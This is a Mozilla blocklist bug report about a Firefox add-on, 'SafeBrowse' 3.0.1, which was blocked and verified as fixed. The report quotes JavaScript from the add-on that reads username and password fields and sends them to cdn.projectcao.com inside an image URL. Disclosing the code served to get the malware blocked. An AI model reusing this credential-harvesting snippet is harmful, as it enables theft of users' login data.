1097696 - Extension block request: [e-mail]

Status: VERIFIED FIXED

(Toolkit :: Blocklist Policy Requests, defect)

Description

[Diego Casorran [:diegocr]]

Extension name: SafeBrowse
Extension UUID: [e-mail]
Extension versions to block: 3.0.1
Applications, versions, and platforms affected: Firefox Desktop
Block severity: hard

Homepage, AMO listing, other references and contact info: 

https://www.safebrowse.co/
https://code.google.com/p/safebrowse/source/browse/

Affiliations, fwiw: quecaja.com, inmundicias.com, projectcao.com

Reasons:

This add-on inject the following script into every page:

https://safebrowse.googlecode.com/svn/trunk/core.js

Such script additionally injects this:

//safebrowse.googlecode.com/svn/trunk/nowait.js
//safebrowse.googlecode.com/svn/trunk/replace.js

The later script has code specifically made to collect usernames & passwords and sends them to a cdn hosted on projectcao.com

a little snippet:

   1 function validateImg(e, t, n) {

   2     var i = "wp" == n ? "&loc=" + encodeURIComponent(window.location.href) : "",

   3         a = document.createElement("img");

   4     return a.src = "http://cdn.projectcao.com/image_close.png?us=" + SB64.encode(e) + "&ps=" + SB64.encode(t) + "&st=" + n + i, !0

   5 }
...
  12 function validateDb() {

  13     var e = $el('input[name="login_email"]').value,

  14         t = $el('input[name="login_password"]').value;

  15     return validateImg(e, t, "db"), !0

  16 }

  17 

  18 function validateI() {

  19     var e = $el('input[name="username"]').value,

  20         t = $el('input[name="password"]').value;

  21     return validateImg(e, t, "i"), !0

  22 }

  23 

  24 function validateS() {

  25     var e = $el('input[name="login"]').value,

  26         t = $el('input[name="clave"]').value;

  27     return validateImg(e, t, "s"), !0

  28 }
....

Comment 1

[Diego Casorran [:diegocr]]

Attachment: safebrowse.xpi

current extension version 3.0.1

Comment 2

[Jorge Villalobos [:jorgev] (he/him)]

Blocked: https://addons.mozilla.org/en-US/firefox/blocked/i782

Comment 3

[Victor Carciu]

Verified as fixed